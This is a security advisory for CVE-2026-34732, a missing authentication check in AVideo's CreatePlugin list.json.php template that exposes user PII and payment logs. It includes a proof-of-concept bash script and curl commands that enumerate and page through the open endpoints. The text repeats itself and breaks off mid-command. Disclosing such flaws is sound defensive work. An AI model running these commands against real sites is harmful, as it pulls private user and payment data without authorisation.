CVE-2026-34732

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meet_join_log/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPT_log/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Users_extra_info/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/User_notifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Users_connections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \…

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meet_join_log/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPT_log/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Users_extra_info/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/User_notifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Users_connections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \…